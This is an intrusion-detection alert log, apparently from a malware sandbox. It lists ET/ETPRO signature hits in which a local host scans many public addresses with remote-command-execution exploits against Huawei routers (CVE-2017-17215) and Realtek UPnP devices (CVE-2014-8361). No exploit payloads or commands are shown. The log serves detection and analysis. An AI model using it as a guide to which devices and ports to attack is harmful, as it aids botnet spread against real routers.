07/20/24-23:01:02.113055	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37100	37215	192.168.2.23	197.224.4.245
07/20/24-23:02:06.806210	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	44198	52869	192.168.2.23	147.8.193.70
07/20/24-23:01:42.411586	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	55468	52869	192.168.2.23	123.91.96.233
07/20/24-23:01:46.891763	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48814	52869	192.168.2.23	5.252.81.48
07/20/24-23:01:00.636534	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60674	37215	192.168.2.23	157.114.148.67
07/20/24-23:00:59.148145	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36240	37215	192.168.2.23	157.231.240.156
07/20/24-23:01:24.886284	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59416	37215	192.168.2.23	157.51.148.163
07/20/24-23:01:42.809185	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52892	52869	192.168.2.23	101.9.169.24
07/20/24-23:01:13.583885	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58320	52869	192.168.2.23	8.133.200.251
07/20/24-23:01:23.872117	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	46058	52869	192.168.2.23	211.69.194.148
07/20/24-23:01:42.187124	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	49100	52869	192.168.2.23	1.84.241.246
07/20/24-23:01:04.631848	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59006	52869	192.168.2.23	147.69.83.159
07/20/24-23:01:02.731126	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	56040	52869	192.168.2.23	62.90.39.173
07/20/24-23:01:25.783904	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	55398	52869	192.168.2.23	97.247.179.245
07/20/24-23:01:14.113390	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60610	37215	192.168.2.23	140.142.252.32
07/20/24-23:01:51.016561	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46870	52869	192.168.2.23	70.60.237.131
07/20/24-23:01:52.678633	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	37760	52869	192.168.2.23	17.76.42.20
07/20/24-23:01:00.658201	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38354	37215	192.168.2.23	157.80.93.33
07/20/24-23:01:41.349768	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34456	52869	192.168.2.23	165.21.55.96
07/20/24-23:01:45.667238	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33240	52869	192.168.2.23	24.80.173.172
07/20/24-23:01:57.434940	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34012	52869	192.168.2.23	74.191.12.65
07/20/24-23:01:53.258882	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48378	52869	192.168.2.23	118.179.102.207
07/20/24-23:01:11.635828	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41410	37215	192.168.2.23	138.191.112.237
07/20/24-23:01:08.615260	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46100	52869	192.168.2.23	209.154.77.145
07/20/24-23:01:53.372532	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	57208	52869	192.168.2.23	115.176.151.108
07/20/24-23:01:43.763925	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48326	52869	192.168.2.23	52.121.181.216
07/20/24-23:01:41.249014	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37622	52869	192.168.2.23	136.37.204.244
07/20/24-23:01:47.141323	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51316	52869	192.168.2.23	139.92.32.15
07/20/24-23:01:54.277122	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	55422	52869	192.168.2.23	203.184.58.202
07/20/24-23:01:04.053604	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37496	37215	192.168.2.23	65.192.188.21
07/20/24-23:01:42.479337	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	43420	52869	192.168.2.23	204.114.85.200
07/20/24-23:01:42.151857	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	44722	52869	192.168.2.23	111.193.202.8
07/20/24-23:01:51.076036	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	54624	52869	192.168.2.23	203.124.141.209
07/20/24-23:01:20.597058	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	44578	52869	192.168.2.23	36.168.150.31
07/20/24-23:01:31.314147	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	58596	52869	192.168.2.23	36.69.228.71
07/20/24-23:01:44.450410	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	55666	52869	192.168.2.23	210.201.123.76
07/20/24-23:01:46.092258	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	34218	52869	192.168.2.23	36.12.14.153
07/20/24-23:01:49.040108	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	35238	52869	192.168.2.23	45.208.1.181
07/20/24-23:01:49.203134	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48192	52869	192.168.2.23	77.112.72.60
07/20/24-23:01:34.048618	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58806	37215	192.168.2.23	80.40.99.121
07/20/24-23:01:42.713313	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40798	52869	192.168.2.23	79.42.102.158
07/20/24-23:02:02.671155	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	43120	52869	192.168.2.23	35.30.208.203
07/20/24-23:01:53.459445	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	50914	52869	192.168.2.23	80.12.29.225
07/20/24-23:01:46.525128	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	45820	52869	192.168.2.23	82.187.47.45
07/20/24-23:01:43.839288	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39870	52869	192.168.2.23	184.170.174.78
07/20/24-23:01:45.407049	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	35450	52869	192.168.2.23	91.148.233.46
07/20/24-23:01:02.055683	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51098	37215	192.168.2.23	156.104.182.219
07/20/24-23:01:44.470424	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35058	52869	192.168.2.23	217.231.155.95
07/20/24-23:01:46.348899	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53338	52869	192.168.2.23	138.36.169.221
07/20/24-23:01:44.137774	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37142	52869	192.168.2.23	91.203.103.36
07/20/24-23:01:48.181097	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	44604	52869	192.168.2.23	101.122.117.242
07/20/24-23:01:00.645186	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53540	37215	192.168.2.23	197.36.116.167
07/20/24-23:01:51.328797	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53538	52869	192.168.2.23	86.212.150.4
07/20/24-23:01:45.104633	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	37702	52869	192.168.2.23	223.250.7.213
07/20/24-23:01:46.329269	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56996	52869	192.168.2.23	173.172.122.41
07/20/24-23:01:56.845732	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	46188	52869	192.168.2.23	79.6.78.78
07/20/24-23:01:10.738721	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50512	52869	192.168.2.23	50.114.115.150
07/20/24-23:01:45.179680	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	53918	52869	192.168.2.23	118.151.178.3
07/20/24-23:01:41.686830	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	56344	52869	192.168.2.23	93.148.210.215
07/20/24-23:01:12.852602	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41254	52869	192.168.2.23	217.106.167.57
07/20/24-23:01:07.036064	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38344	37215	192.168.2.23	116.171.63.113
07/20/24-23:01:25.595910	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47002	52869	192.168.2.23	62.157.173.255
07/20/24-23:02:01.645031	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	39976	52869	192.168.2.23	201.63.23.173
07/20/24-23:01:25.035135	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57600	52869	192.168.2.23	184.170.117.213
07/20/24-23:01:41.488676	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47140	52869	192.168.2.23	70.133.231.223
07/20/24-23:01:47.726021	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	41158	52869	192.168.2.23	20.63.97.204
07/20/24-23:01:54.829737	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	35970	52869	192.168.2.23	96.119.211.11
07/20/24-23:01:24.885849	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40988	37215	192.168.2.23	197.212.28.22
07/20/24-23:02:11.743968	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37572	52869	192.168.2.23	112.84.192.59
07/20/24-23:02:08.090583	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33618	52869	192.168.2.23	90.243.218.95
07/20/24-23:01:02.046626	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42854	37215	192.168.2.23	197.235.3.106
07/20/24-23:01:08.646615	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	32940	52869	192.168.2.23	147.69.83.159
07/20/24-23:01:40.296076	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37636	37215	192.168.2.23	157.83.137.181
07/20/24-23:01:04.113037	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51016	37215	192.168.2.23	157.8.213.94
07/20/24-23:01:31.314146	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59934	52869	192.168.2.23	174.51.233.233
07/20/24-23:01:44.658614	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	59664	52869	192.168.2.23	143.69.193.236
07/20/24-23:01:24.904906	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51310	37215	192.168.2.23	126.71.100.246
07/20/24-23:01:43.224525	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	45980	52869	192.168.2.23	183.154.28.107
07/20/24-23:01:14.097795	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50358	37215	192.168.2.23	41.102.199.133
07/20/24-23:01:51.304967	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34938	52869	192.168.2.23	122.69.178.214
07/20/24-23:00:57.223015	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36772	37215	192.168.2.23	182.102.31.222
07/20/24-23:01:02.789203	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48232	52869	192.168.2.23	98.176.193.82
07/20/24-23:01:02.066908	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52194	37215	192.168.2.23	41.140.127.150
07/20/24-23:01:14.111381	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35496	37215	192.168.2.23	41.138.103.205
07/20/24-23:01:42.717611	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43206	52869	192.168.2.23	69.239.30.22
07/20/24-23:01:53.963505	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	47468	52869	192.168.2.23	161.136.114.82
07/20/24-23:01:47.912435	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55434	52869	192.168.2.23	130.200.160.126
07/20/24-23:01:27.649885	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54310	37215	192.168.2.23	41.51.57.163
07/20/24-23:01:08.606848	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	36948	52869	192.168.2.23	146.210.17.240
07/20/24-23:01:42.434719	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34494	52869	192.168.2.23	200.70.243.196
07/20/24-23:01:20.156820	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56590	37215	192.168.2.23	157.20.155.148
07/20/24-23:01:43.066571	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38936	52869	192.168.2.23	207.203.170.191
07/20/24-23:00:57.222279	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47332	37215	192.168.2.23	197.146.199.163
07/20/24-23:01:42.780168	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	33652	52869	192.168.2.23	213.68.164.174
07/20/24-23:01:11.636425	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50652	37215	192.168.2.23	197.24.62.182
07/20/24-23:01:45.075399	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	55444	52869	192.168.2.23	31.139.123.246
07/20/24-23:01:48.965786	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41888	52869	192.168.2.23	176.234.87.122
07/20/24-23:01:44.825081	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	49942	52869	192.168.2.23	108.225.154.233
07/20/24-23:01:41.238000	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38464	52869	192.168.2.23	85.239.208.54
07/20/24-23:00:59.213564	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40646	37215	192.168.2.23	198.189.132.142
07/20/24-23:01:07.005155	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39444	37215	192.168.2.23	41.187.195.110
07/20/24-23:01:51.743446	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52870	52869	192.168.2.23	35.152.212.38
07/20/24-23:01:31.321188	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57476	52869	192.168.2.23	157.108.156.75
07/20/24-23:01:41.467111	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	37268	52869	192.168.2.23	102.134.118.47
07/20/24-23:01:46.004063	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40942	52869	192.168.2.23	59.99.39.216
07/20/24-23:01:57.392094	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36884	52869	192.168.2.23	158.188.68.37
07/20/24-23:00:57.222090	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41354	37215	192.168.2.23	197.93.123.78
07/20/24-23:01:08.589759	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	35948	52869	192.168.2.23	27.130.132.139
07/20/24-23:01:10.585824	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	37250	52869	192.168.2.23	82.106.122.253
07/20/24-23:01:45.414030	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33672	52869	192.168.2.23	86.248.56.62
07/20/24-23:01:47.805449	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	60586	52869	192.168.2.23	88.49.181.78
07/20/24-23:02:14.779973	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54124	52869	192.168.2.23	108.55.210.200
07/20/24-23:01:42.915641	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57594	52869	192.168.2.23	45.244.207.174
07/20/24-23:01:04.113037	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44942	37215	192.168.2.23	41.197.205.28
07/20/24-23:01:04.965535	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	44980	52869	192.168.2.23	103.179.244.2
07/20/24-23:01:44.389834	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54532	52869	192.168.2.23	23.3.191.75
07/20/24-23:00:57.221145	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56886	37215	192.168.2.23	17.113.7.103
07/20/24-23:01:00.634165	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37284	37215	192.168.2.23	197.35.57.182
07/20/24-23:01:09.817737	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	52942	52869	192.168.2.23	44.188.193.15
07/20/24-23:01:44.559176	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51016	52869	192.168.2.23	123.97.7.185
07/20/24-23:01:43.903732	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59476	52869	192.168.2.23	50.123.92.219
07/20/24-23:01:42.430595	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	46182	52869	192.168.2.23	163.49.61.251
07/20/24-23:01:44.161942	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	55620	52869	192.168.2.23	213.162.26.171
07/20/24-23:01:42.290838	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	43356	52869	192.168.2.23	123.147.61.106
07/20/24-23:01:14.126869	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40750	37215	192.168.2.23	41.199.61.192
07/20/24-23:01:31.979565	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50932	37215	192.168.2.23	123.35.251.224
07/20/24-23:01:32.060731	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60036	37215	192.168.2.23	137.86.119.85
07/20/24-23:01:49.228425	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43454	52869	192.168.2.23	219.217.14.87
07/20/24-23:01:25.275555	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	46150	52869	192.168.2.23	136.18.44.19
07/20/24-23:01:41.417573	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52788	52869	192.168.2.23	140.117.188.131
07/20/24-23:01:44.795218	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	48582	52869	192.168.2.23	121.163.119.125
07/20/24-23:01:46.329268	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50588	52869	192.168.2.23	116.175.162.178
07/20/24-23:02:19.406496	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	48398	52869	192.168.2.23	190.157.219.101
07/20/24-23:01:03.252602	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35072	52869	192.168.2.23	205.45.42.138
07/20/24-23:01:42.530468	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59786	52869	192.168.2.23	221.195.248.226
07/20/24-23:01:24.898476	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45724	37215	192.168.2.23	73.38.236.100
07/20/24-23:01:58.892811	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53416	52869	192.168.2.23	105.169.76.44
07/20/24-23:00:57.221220	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58196	37215	192.168.2.23	197.77.131.53
07/20/24-23:01:42.602712	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	53166	52869	192.168.2.23	190.125.30.210
07/20/24-23:01:52.877228	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	56862	52869	192.168.2.23	185.104.180.12
07/20/24-23:01:49.170008	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	50656	52869	192.168.2.23	179.176.134.213
07/20/24-23:01:11.633481	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53458	37215	192.168.2.23	157.205.78.42
07/20/24-23:01:21.915268	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42714	37215	192.168.2.23	157.75.221.250
07/20/24-23:01:31.317668	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	48316	52869	192.168.2.23	177.181.36.106
07/20/24-23:01:54.277123	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	55390	52869	192.168.2.23	222.178.130.155
07/20/24-23:01:46.629075	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36186	52869	192.168.2.23	169.80.181.136
07/20/24-23:01:11.816504	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	32888	37215	192.168.2.23	20.16.236.13
07/20/24-23:01:27.658221	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47452	37215	192.168.2.23	197.38.231.207
07/20/24-23:01:44.825081	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	59162	52869	192.168.2.23	79.217.40.139
07/20/24-23:01:02.432131	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33560	52869	192.168.2.23	8.98.158.174
07/20/24-23:01:45.094539	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60544	52869	192.168.2.23	69.102.162.227
07/20/24-23:01:24.943244	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47638	37215	192.168.2.23	140.101.155.227
07/20/24-23:01:49.631749	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	54194	52869	192.168.2.23	73.161.205.249
07/20/24-23:01:03.175286	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50620	52869	192.168.2.23	152.136.236.137
07/20/24-23:02:04.208558	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38938	52869	192.168.2.23	202.29.220.93
07/20/24-23:01:46.109136	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	59800	52869	192.168.2.23	111.211.116.144
07/20/24-23:02:01.320866	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58754	52869	192.168.2.23	202.174.156.78
07/20/24-23:01:04.082384	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44494	37215	192.168.2.23	41.28.46.127
07/20/24-23:01:31.312311	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42756	52869	192.168.2.23	144.247.247.76
07/20/24-23:01:49.660516	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	48318	52869	192.168.2.23	135.160.162.200
07/20/24-23:01:51.197215	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	52982	52869	192.168.2.23	174.95.107.188
07/20/24-23:01:31.976649	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57286	37215	192.168.2.23	41.134.23.85
07/20/24-23:01:40.343151	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39838	37215	192.168.2.23	197.236.217.25
07/20/24-23:01:24.885895	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51412	37215	192.168.2.23	46.35.149.243
07/20/24-23:01:49.228425	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55586	52869	192.168.2.23	216.13.41.148
07/20/24-23:01:45.079349	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48408	52869	192.168.2.23	179.206.84.130
07/20/24-23:01:08.640831	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	35834	52869	192.168.2.23	104.55.221.40
07/20/24-23:01:55.944701	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	59102	52869	192.168.2.23	191.189.100.30
07/20/24-23:01:04.094795	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42104	37215	192.168.2.23	41.185.138.78
